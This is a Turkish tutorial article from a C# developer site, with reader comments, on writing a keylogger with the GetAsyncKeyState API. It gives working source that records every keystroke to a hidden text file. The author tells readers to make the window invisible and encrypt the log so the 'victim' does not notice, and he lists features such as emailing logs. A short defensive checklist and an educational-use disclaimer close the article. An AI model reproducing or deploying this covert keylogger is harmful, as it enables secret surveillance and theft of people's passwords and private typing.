C#nedir?com
 
YAZAR HAKKINDA
Yaşar Gözüdeli
Yaşar Gözüdeli
http://www.csharpnedir.com/
İletişme geçmek için tıklayın.
10 Makalesi yayınlanmakta.
Yazar hakkında detaylı bilgi için tıklayın.
Yayınlanan diğer makaleleri için tıklayın.
İlgili etiketler: basilan burada dinleme klavye klavyeden kullanarak nesnesinin public sistemleri sonra static temelli uygulama windows yazilim C# / VC#/.NET Yaşar Gözüdeli
 
YAZI HAKKINDA
Türü : Makale
Serbest Köşede C#nedir?com üyelerinin hazırladıkları yazılar yayınlanır. Bu yazılar editör incelemesine girmeden yayınlanır.
Seviyesi : İleri
Kategori : C# / VC#/.NET
Yayınlanma Tarihi : 24.1.2005
Okunma Sayısı : 49501
Yorum Sayısı : 17     yorum yaz
Site İçi AramaSİTE İÇİ ARAMA
Üye Girişini AçÜye GİRİŞİ
Üye girişi için tıklayın.
Kullanıcı Adı
Şifre
 
Beni her zaman hatırla
Bir hafta boyunca kullanıcı bilgilerinizi kullanıcı çıkışı yapana kadar hatırlar. (Paylaşılan bilgisayarlarda önerilmez.)
 
Şifremi / Kullanıcı Adımı unuttum.
 
.net TV RSS Serbest KÖŞE (?)
Serbest Köşede C#nedir?com üyelerinin hazırladıkları yazılar yayınlanır. Bu yazılar editör incelemesine girmeden yayınlanır.
emre TAŞ
XML - Deniz Kılınç
emre TAŞ
yazının devamı >
emre TAŞ
Decompiling and Reverse Engineering .Net Radyo
emre TAŞ
yazının devamı >
emre TAŞ
Masaüstü mü ? İnternet Mi? .Net Radyo
emre TAŞ
yazının devamı >
emre TAŞ
.Net Kavramları - .Net Radyo
emre TAŞ
yazının devamı >
emre TAŞ
Yeni Başlayanlar için - .Net Radyo
emre TAŞ
yazının devamı >
Makale Gönder Bende Yazmak İstiyorum
.net TV RSSBlogroll
Turhal Temizer 'in Blogu
Conda install environment.yml Package 15.7.2019
Turhal Temizer 'in Blogu
Mac OS/X Removing CUDA 15.7.2019
Burak Selim Şenyurt
Sunucu Bazlı Blazor Uygulaması ve Firestore Kullanımı 15.7.2019
Burak Selim Şenyurt
Angular ile Yazılmış Bir Web Uygulamasını PWA Uyumlu Hale Getirmek 15.7.2019
  Diğer Herşey
Sponsorlar
BT Akademi
Medya Portakal
Video Hosting Sponsoru
Csharpnedir.com bir Ineta üyesidir
Uzman Abi
Her Yönüyle C# - Sefer Algan
C# ile Klavye Dinleyici Yazmak
 
Kapat
Sayfayı Yazdır Sık Kullanılanlara Ekle Arkadaşıma Gönder MySpace Del.Ico.Us Digg Facebook Google Mixx Reddit StumbleUpon
Makalede, bir klavye dinleyici(Key Logger) nasıl yazılabilir sorusuna yanıt arayacağız. Klavye dinleyiciler, gerçekte görünmez olarak çalışan ve arka planda klavyeye girilen ifadeleri not eden uygulamalar olup, çok farklı teknikleri kullanılarak geliştirilmiş olabilirler. Biz bu yöntemlerden, GetAsyncKeyState Windows API’ sinin kullanımı ile çalışan bir uygulama geliştirmeyi ele alacağız. Son olarak, bir klavye dinleme sisteminden nasıl korunulabileceğini ayrı bir başlık altında özetleyerek, özel hayatın mahremiyetine katkıda bulunmak istedim.

Giriş

Klavye dinleme sistemleri genel olarak yazılım ve donanım temelli olmak üzere iki genel kategoride incelenirler. Biz burada yazılım grubunu detaylandırdıktan sonra, API kullanarak basit bir klavye dinleme sistemini gerçeklemeye çalışacağız.

Donanım temelli sistemler, genel olarak klavyenin içine, klavyenin kasa girişine veya kasadaki klavye girişi ile anakart arasına takılabilir. Böyle bir sistem, ilk bakışta çoğu zaman görülebilir olsa da, özellikle klavye ve kasa içindeki sistemleri görmek özellikle bakılmadığı sürece olağan dışı olacaktır. Bu tür sistemler, 2 milyon tuş kaydını kaydedebilecek şekilde yapılmış ve bu toplamda, ortalama bir kişinin 12 ayda doldurabileceği bir kapasite olarak tanıtılıyor( http://www.keyghost.com/sx). Bu tür sistemlerin dezavantajı, uygulama ve ekran görünümü gibi bilgilere ulaşamamasıdır. Avantajları ise kolay kolay sezinlenemez olmalarıdır.

Yazılım Temelli Klavye Dinleme Sistemleri

Windows kullanan sistemlerde yazılım temelli olarak klavye dinleme sistemlerini gerçekleştirmenin üç temel yöntemi vardır:

  • int 0x9 kesmesini dinleyerek sisteme klavyeden gelen girdileri kaydetmek
  • GetAsyncKeyStateWindows API’ sini kullanarak tuşları bir döngüde bu API’ ye göndererek hangi tuşa basıldığını not etmek
  • Global Windows kancaları (Hooks) kullanarak Windows’un mesajlaşmalarından dinlemek ve bir sonraki işleme durumu değiştirmeden geçiş sağlamak
Biz bu makalede, ikinci yöntem ile basit bir uygulama geliştireceğiz. Projemizle bir alakası olmamasına rağmen, yeri gelmişken belirtmekte fayda var; Hook’ larla yazılan bir klavye dinleme sistemi, bizim yazdığımıza göre çok daha iyi performans sağlar. Ama Hook’lara erişim kodlamak için C++ daha uygun bir dil iken, C# ile bu türden bir gerçekleme C++’a oranla çok daha zahmetli bir hal almakta. C++’da yazılmış bileşenleri, C# ile kullanarak kurgulanmış bir Global Hook uygulamasını şu adreste inceleyebilirsiniz: http://www.codeproject.com/csharp/GlobalSystemHook.asp

Uygulamanın Kalbi

Herhangi bir tuşa basılıp basılmadığını kontrol etmek için, user32.dll’de yer alan GetAsyncKeyState Windows API’ sini kullanacağımızı belirtmiştik. Şimdi bu işlem için, C#’ta bir API, bir sınıfın parçası olarak nasıl tanımlanır bir göz atalım:

[DllImport("user32.dll”)]
public static extern int GetAsyncKeyState(long vKey);

Bu tanımlamayı, bir sınıf içerisinde yaparsak, bir Windows API’ si olarak gerçeklenmiş olan, GetAsyncKeyState adında, sınıfımıza ait, özel bir metot elde etmiş oluruz. Bu metot dışarıdan long türünde bir klavye kodu değeri alacak ve daha sonra bir int değer döndürecektir. Şayet int türünden döndürdüğü değer 0 ise, başta yollanan numaraya karşılık gelen tuşa basılmamış demektir. Öte yandan, o anda basılan tuşun karşılığı long değer bu metoda verildi ise bize döndüreceği değer int16 ile tanımlanabilecek en küçük tamsayının bir fazlası olacaktır. (Int16.MinValue + 1)

Ancak burada şöyle bir sorun ortaya çıkmakta, her seferinde bu metoda öyle bir sayı göndermeliyiz ki, bu tuş o anda basılan tuş olmalı. Bu işlem için de klavyeden gelen tuşların karşılığı ASCII değerleri(0-255 arasında olduğunu varsayarsak), şöyle bir döngü içerisinde kullanabiliriz:

for ( byte i=0; i[[255;i++)
{
 tus = GetAsyncKeyState(i);
  if (tus == -32767)
  {
   // bu tuşa basılmış loglanacak
   break; // artık dönmeye gerek yok.
  }
}

Böylelikle son basılan tuşun hangisi olduğunu anlayabileceğimiz bir kod elde etmiş olduk. Ancak bunun sürekli bir döngü içerisinde çalışması gerekir. Bu nedenle bunu bir Timer nesnesinin Tick olayında çağırmamız gerekecektir. Timer nesnesinin Tick olayı, nesneye ait Interval özelliğine atanan değer kadarlık aralıklarla yeniden tetiklenir. Bu durumda, bizim kodlarımız da sürekli olarak çalışacaktır. Ancak bunun sisteme bir maliyet getirdiği gözden kaçırılmamalıdır.

Ardından, burada elde ettiğimiz tuş bilgisini bir metin dosyasına yazacağız. Normalde, bu bilgiler şifrelendikten sonra dosyalanarak, şüphelenen kurbanın durumu fark etmesinin önüne geçilir. Bu iş işin DES3 algoritması kullanılabilir.( http://www.aspemporium.com/howto.aspx?hid=10 ) Ancak biz, uygulamayı basit tutmak için böyle bir yönteme yer vermeyeceğiz.

Uygulamanın Tamamlanması

Bu kısa bilgilerden sonra, uygulamanın tanımlanması kısmına gelelim. Öncelikle, Visual Studio .NET 2003’te bir yeni C# Windows Uygulaması açalım. Default olarak gelen Form1’e bir adet timer nesnesi ve bir adet de textbox nesnesi ekledikten sonra, textbox nesnesinin çoklu satır özelliğini aktif edelim ve formun içerisinde büyütelim. Timer nesnesinin Interval özelliğini 50 verelim ve Enabled özelliğini de aktif edelim.

Daha sonra bir önceki aşamada anlattıklarımızı bir sınıf olarak gerçekleyelim. Bunun için öncelikle bir C# Class File ekleyelim ve içerisine şu kodları yazalım:

public class TusKontrol{
[DllImport("user32.dll", CharSet=CharSet.Ansi)]
public static extern int GetAsyncKeyState( long vKey);
// herhangi bir tus basildi ise, MIN(Int16)+1 döndürüyor.
public static bool BuTusaMiBasildi( byte tusKod)
{
  if ( TusKontrol .GetAsyncKeyState(( long )tusKod)== System.Int16.MinValue + 1 )
   return true ;
  else
   return false ;
}

public static void LogDosyasinaYazdir( string tamDosyaYolu, string tusAdi)
{
  StreamWriter DuzMetinDosyasi = new StreamWriter(tamDosyaYolu, true );
  DuzMetinDosyasi.Write(tusAdi);
  DuzMetinDosyasi.Close();
}



Şekil1. Projemizde yer alan dosyalar

Son olarak, timer nesnesini çift tıklayarak Tick olayına geçelim. Buradan, KlavyeDinleyici sınıfının statik üyelerine erişerek klavyede basılan tuşları öğrenip kaydedeceğiz. Aynı zamanda da ekranda(textbox’ı bunun için ekledik) göstereceğiz. Ardından:

private void timer1_Tick( object sender, System.EventArgs e)
{
 for ( byte i=0;i[[255;i++)
 {
  if (KlavyeDinleyici.TusKontrol.BuTusaMiBasildi(i))
  {
    string tus = Convert.ToChar(i).ToString();
    KlavyeDinleyici.TusKontrol.LogDosyasinaYazdir(@"c:\klavyedinlendi.txt",tus);
    textBox1.Text += tus;
     break ;
   }
  }
System.Windows.Forms.Application.DoEvents();
}

şeklinde kodlarımızı tamamlayabiliriz.

Burada dikkat edilirse, Timer nesnesinin tick olayı içerisinde, DoEvent() Statik metodunu çağırarak, döngü dışındaki işlemlerin yapılması için CPU’ya fırsat tanıdık.


Şekil2. Uygulamanın çalışma anından bir resim. Note Pad’de yazılanlar, program tarafından yakalanmakta.

Son olarak, burada yer almasa da klavye dinleyiciyi görünmez yapmak için, form’un opacity özelliğine 0 değerini verebilirsiniz.

Klavye Dinleme Sistemlerinden Korunmak İçin

Klavye dinleme sistemleri, bir çok Internet korsancılığına adı karışmış bir bilgi dinleme yöntemidir. Bu nedenle, ciddi önlemler almak gerekir. Burada, sisteminizde bir klavye dinleme sistemi bulunma ihtimaline karşılık alınmasında fayda bulunan önlemleri sıralayacağım. Bir kısmı, paronaya seviyede olabilecek bu önlemleri işinizin ve özel bilgilerinize saldırı ihtimaline göre es geçebilirsiniz.

  • Bilgisayarınızı açmadan, klavye kablosunu bir takip edin. Klavyenizin girişine ve diğer donanım takılabilir yerlere göz atmayı alışkanlık haline getirin
  • Antivirüs programınızın, genel olarak klavye dinleyici yazılımları yakalayıp yakalamadığını kontrol edin. Yakalamıyorsa, klavye dinleyicileri yakalayan özel amaçlı yazılımlar mevcut ve bunlardan birini kullanabilirsiniz.
  • Sisteminizde, bilinmedik bir nedenle büyüyen dosyalar varsa, durumlarını kontrol edin. Bu tür dosyaları otomatik yakalayan programlardan faydalanabilirisiniz.
  • Her bilgisayarda, önemli bilgilerinizi klavyeden giriş yapmayın. Örneğin Internet Cafe’ler bu konuda sabıkası kabarık yerlerdir.
  • Sanal klavyelerden faydalanın.
  • Hassas bir bilgi girişi yapmanız gerekiyorsa ve tehdit altında olduğunuzu düşünüyorsanız, her geçen gün yeni sistemlerin geliştirildiğini aklınızdan çıkarmayın.

Sonuç

C# ile API’ lere erişim görüldüğü üzere oldukça kolaydır. Bir klavye dinleme sistemi kolayca kodlanabilir. Burada yazdığımız uygulama, standart bir klavye dinleme sisteminin sağlaması gereken özelliklerin sadece bir kaçını sağlamakta. Buradakilerin dışında, görev çubuğu ve görev yönetim menülerinden gizli çalışabilen, kaydettiği bilgileri şifreli kaydeden ve e-mail gibi uzaktan erişim sağlama,Ekran yakalama ve Pano(clipboard) izleme standart bir klavye dinleme sisteminin sağlaması gereken özelliklerden sadece bir kaçıdır.

NOT: Burada anlatılanlar, sadece eğitim amaçlıdır. Anlatılan tekniklerin özel hayatın mahremiyetine yönelik kullanımından yazar sorumlu değildir.


Uyulamayı İndirmek için tıklayınız.
Makale:
C# ile Klavye Dinleyici Yazmak C#, Visual C# ve .NET Yaşar Gözüdeli
  • Yazılan Yorumlar
  • Yorum Yaz
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
KAS
24
2013
Bende Hata Veriyor neden olabilir
HAZ
5
2010
Güzel paylaşım, ancak bi hata var sanırım: GetAsyncKeyState() metodunda ilk parametreyi de long değil int olarak verirsek geriye de int değil short döndürürsek "System.Int16.MinValue + 1 " işe yarayacaktır.
HAZ
16
2005
Makale için teşekkürler fakat program klavyeden basılan tuşlara belli aralıklarla yanıt veriyor ve etkili biçimde log tutamıyor gibi geldi bana.Bu sorun sadece bende mi var?
Sayfalar : 1 2 
Yorum yazabilmek için üye girişi yapmalısınız. Üye girişi için tıklayın.
Üye değilseniz Üyel Ol linkine tıklayarak üyeliğinizi hemen başlatabilirisniz.
 
  • Bu Konuda Son 10
  • Eklenen Son 10
  • Bu Konuda Geçmiş 10
Bu Konuda Yazılmış Yazılmış 10 Makale Yükleniyor
Son Eklenen 10 Makale Yükleniyor
Bu Konuda Yazılmış Geçmiş Makaleler Yükleniyor